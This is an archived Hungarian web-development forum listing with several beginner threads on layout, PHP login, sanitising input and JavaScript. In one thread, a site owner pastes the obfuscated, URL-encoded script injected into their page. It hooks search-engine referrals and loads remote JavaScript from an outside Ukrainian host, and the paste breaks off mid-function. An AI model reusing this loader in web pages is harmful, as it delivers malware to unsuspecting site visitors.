ugrás a tartalomhoz

Archívum - Már 2009 - Fórum téma

március 24

Táblázat cellájába Több- Div egyhelyre pozicionálása.

kov · 2009. Már. 24. (K), 14.11
Sziasztok!

Van egy 3 soros, 3 oszlopos táblázatom. Ebből az első, és harmadik sort egyesítettem. A második sorban helyzkedik el a 3 db menüpont. A Ha rákattintok az egyik menüpontra akkor a harmadik sorban megjelenik a tartalom egy div-ben. Ha rákattintok a másik menüpontra akkor szintén megjelenik egy div-ben a tartalom a harmadik sorban. Azomban a problémám az, hogy nem az előző div poziciójában jelenik meg, hanem alatta. És így szépen megnyúlik a harmadik sorom, és egymás alá pakolgatja be a táblázat harmadik sorába a diveket. Hogyan lehetne ugyanoda pozicionálni egy táblázat cellájába több divet? Azért kellett táblázaton belül divet használnom mert ha csak divekkel építettem fel az oldalt akkor különböző képernyőfelbontásoknál elmásztak a divek.

március 23

Űrlap adatainak mentése és kiíratása

pzoli89 · 2009. Már. 23. (H), 12.08
Nekem az lenne a kerdesem, hogy az alabbi oldal adatait , hogy lehet elmenteni, es azutan pedig kiiratni.

Ezt szeretnem en is megcsinalni:

http://stanciuelena.xhost.ro/index.html

Es igy kiiratni:

http://stanciuelena.xhost.ro/afisare.php

Egy hazira kellene, valaki legyen szives segitsen.
 

apache szerveren HEAD típusú lekérés szimulálása

sotetbarna · 2009. Már. 23. (H), 11.36
Sziasztok!

Találkozott már valaki HEAD lekérésekkel? Hogyan tudom szimulálni őket?

Észrevettem, hogy a szerver hibalogjában mindig keletkezik egy bejegyzés arról, hogy nem sikerül mysql kapcsolatot létrehozni, amikor ilyen lekérés indul
xxx.xxx.xxx.xxx - - [23/Mar/2009:00:01:55 +0100] "HEAD / HTTP/1.1" 200 - "-" "Java/1.6.0_03"


Szóval hogyan tudom tesztelni a szervert ezekre a HEAD lekérésekre?

Tudom, hogy a fenti bejegyzést valami robot generálja, de akkor is jó lenne valahogy nekem is előidézni.


Köszi előre is a segítséget!

Barna
 

március 22

IE7 vs. FF3

supi007 · 2009. Már. 22. (V), 20.24
Biztos nem az első ilyen, de már nincs türelmem keresgetni.
A problémám a következő:
-Azt csináltam, hogy feltöltöttem egy képet a szerverem egy könyvtárárba,
-(Az oldalamon lehet saját tartalmat írni, mint itt a weblaboron,)
-ezért én írtam is egy olyat, hogy:
<a href="http://folder/file.jpg"><img src="http://folder/file.jpg" width="50%" border="0" /></a>
-ezt elküldtem az adatbázisba,
-az oldal lekérdezi és ki is rakja a képet 50%-al lecsökkenti a méreteit nem rak rá szegélyt és kattintás után megjelenik az eredeti kép eredeti méretekkel...
-FF3 alatt,
-IE7 alatt azt csinálja, hogy kirajzolja a képet de közben szétbarmolja a befoglaló táblát,
-arra bírtam következtetni, hogy először kirajzolja az eredeti nagy képet, ami jól szétcseszi(sic!) a táblát, majd gyorsan átméretezi 50%-ra, de a tábla úgy marad.
http://kepfeltoltes.hu/090322/unnamed_www.kepfeltoltes.hu_.png

Mit tudtok tanácsolni? Elég kétségbe ejtő, hogy még mindig ilyenekkel kell foglalkozni a fejlesztés közben. Mi baja van az Explorernek?
 

Login rendszer készítése

rockybro · 2009. Már. 22. (V), 13.57
Hali!

Automatikus bejelentkezéses login rendszert szeretnék készíteni.
Odáig már eljutottam, hogy automatikus bejelentkezés nélkül jól működik: van egy formom, beírom a username-et és a passwordot, utána a passwordot kódolom md5-tel, majd összehasonlítom a felhasználó által megadott adatokat az adatbázisban lévőkkel. ha minden stimmel, indítok egy sessiont és a session_id-t hozzárendelem az adatbázisban a userhez. ezután szépen minden oldal elején folytatom a session-t és az adatbázisban rákeresek az aktuális session_id-re. ha megtalálom az egyező id-t mondjuk rockybro usernél, akkor rockybrot beléptetem.

és most jön az automatikus bejelentkezés. ahhoz már nem elég sessiont használni, mert ugyebár a session_id már más lesz, amikor újraindítom a böngészőt. ekkor jöhetnek szóba a sütik. megcsináltam úgy, hogy cookieba beraktam a felhasználónevet, és a kódolt jelszót, így is jól működött. de úgy tudom, hogy nem nagyon szabadna cookieba pakolni a jelszót, mégha kódolva van, akkor sem. hogy lehet ezt megoldani biztonságosan?
 

március 22

PHP password védelem

szogedi · 2009. Már. 21. (Szo), 22.53
Üdv mindenkinek!

Nem tud valaki egy egyszerű kódot, ami az alábbihoz hasonló, s amellyel url-ben át tudom adni a php fájlnak a bejelentkezési adatokat. Az alábbi kód is működik a http://qwe:rtz##kukac##valami.hu/xxx.php módszerrel, de nekem a http://valami.hu/xxx.php?username=nev1&password=jelszo1 elküldésre lenne szükségem. Találkozot már valaki valami működő verzióval?

Sajnos az include-olás nem jöhet szóba, ezért az alábbihoz hasonló működésűt keresek, ahol az azonosítás után teljes php kódot tudok futtatni.

<?php

$myusername = "myusername";
$mypassword = "mypassword";
$areaname = "My Protected Area";

if ($_SERVER["PHP_AUTH_USER"] == "" || $_SERVER["PHP_AUTH_PW"] == "" || $_SERVER["PHP_AUTH_USER"] != $myusername || $_SERVER["PHP_AUTH_PW"] != $mypassword) {
header("HTTP/1.0 401 Unauthorized");
header("WWW-Authenticate: Basic realm=\"$areaname\"");
echo "<h1>Authorization Required.</h1>";
die();
}

?>
<?php
... //ide kellene jönnie egy bonyolult php script-nek
?>
 

Php ArrayAccess private->public :o

inf · 2009. Már. 21. (Szo), 22.18
Üdv!

Röviden arról van szó, hogy az objectek nagy részén használni szeretném az ArrayAccess interfacet.

class cucc implements ArrayAccess
{
	protected $a=12;
	public $b=13;
	
	public function offsetExists($name)
	{              
		return isset($this->$name);
	}

	function offsetGet($name)
	{       
		return $this->$name;
	}

	function offsetSet($key,$val)
	{       
		$this->$key=$val;
	}

	function offsetUnset($name)
	{       
		unset($this->$name);
	}
}

$x=new cucc();
echo $x['a'];
echo $x['b'];
Az előnyei ennek, hogy a template rendszeremben nem kell a tömböktől elkülönítenem az objektumok tulajdonságait, hanem azonos módon meg tudom őket adni.

A hátránya pedig, hogy az ArrayAccess-el a private/protected tulajdonságok is lekérhetővé válnak. Ezt szeretném elkerülni valahogyan, de eddig nem jöttem rá, hogy mit lehet tenni.

Igazából az sem baj nekem, ha ArrayAccessel az objektumon belülről nem lehet elérni a private vagy protected tulajdonságokat, mert tényleg csak a külső elérésre használnám.
Az igazi megoldás az lenne, ha valahogy le lehetne kérdezni egy tulajdonságról, hogy az public vagy sem. Ha valaki tud erről valamit, az kérem jelezze.

Előre is kösz.
 

Felhasználó által bevitt adatok megtisztítása

rockybro · 2009. Már. 21. (Szo), 21.41
Üdvözlet!

Felhasználó által bevitt adatokat kéne semlegesítenem és megtiszítanom egysmástól.

Elsődlegesen a html javascript php ésatöbbi kódokat kéne semlegesítenem benne... mert ugyebár, ha ezt nem teszem meg, akkor szépen átírhatja egy kedves user pl. a css-t, vegyünk például egy ilyet: <style type="text/css">*{display:none;}</style> , és utána csodálkozhatok, ha eltűnt az oldalam... hogyan lehet a kódokat semlegesíteni, hogy csak simán szövegként kezelve? a htmlspecialchars()-t kéne használnom?

ezután jöhet az escape-elés... erre van több függvény is: mysql_escape_string(), mysql_real_escape_string(), addslashes()... melyiket használjam, és mikor? mielőtt feltöltöm az adatokat az adatbázisba?

aztán jöhet a szépítés... ha a felhasználó által bevitt szöveg elejére és végére tesz néhány fölösleges szóközt, az könnyedén eltávolítható a trim() fügvénnyel... de ha a szöveg belsejében lévő szavak közé tesz túl sok szóközt, azt hogyan lehet eltávolítani? érdemes egyáltalán vele foglalkozni? ami érdekes számomra, hogy ha kiiratok egy lyukakkal (fölösleges szóközökkel) teli szöveget php-vel, akkor automatikusan leveszi a fölösleges szóközöket. ha beírtam 20 szóközt két szó közé, abból csak egyet ír ki. de közben meg ha feltöltöm adatbázisba, akkor ott ugyanúgy lyukas, mint ahogy eredetileg begépeltem.

tehát a lényeg: azt szeretném elérni, hogy a user akármilyen kódot, szimbólumokat, és bármit gépeljen is be, ne tudja meghackelni a beírt cuccokkal az oldalamat.

sok vendégkönyvnél láttam, hogy nem semlegesíti a kódokat, és 1 másodperc alatt ki lehetne lőni az egész oldalt egy aranyos kis scripttel.. nem akarok én is ilyen hibába esni.

Válaszokat előre köszönöm!
 

Vírus került a honlapomra

ManutdHungary · 2009. Már. 21. (Szo), 15.52
[colorer=html]
<script>document.write( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script></head><body ndragstart="return false" onselectstart="return false" oncontextmenu="return false"><script>function c173b3059n49c4d5357f1cd(n49c4d5357f99e){ function n49c4d535

március 20

div megjelenites/eltuntetes js-tel

mahoo · 2009. Már. 20. (P), 16.34
en mar a hajam befonom, hogy mert nem megy ez az egyszeru kis kod, de nem tudok rajonni... talan valaki itt tud segiteni.

<HTML>
<HEAD>

<script language="JavaScript">

function select_list(divid)
{
var me = document.getElementById(divid);
if (me.style.visibility=="hidden")
{
me.style.visibility="visible";
}
else
{
me.style.visibility="hidden";
}
}

document.onclick = select_list;
</script>
</style>
</HEAD>
<BODY>
<div id="select_list">
<img onclick="select_list('select_lista')" ><div class="select"></div>
<div id="select_lista" style="visibility: hidden;">
<ul>
<li><a href="#">elso</a></li>
<li><a href="#">masodik</a></li>
<ul>
</div>
</BODY>
</HTML>

az adott kod, addig tok jol mukodik, amig raklikkelek a kepre vagy annak helyere. a rejett div larhatova valik. eltunik, ha a kepre kattintok. de nekem az kene, hogy akkor tunjon el, ha barhova az ures oldalon klikkelek...

segitseget elore is koszonom!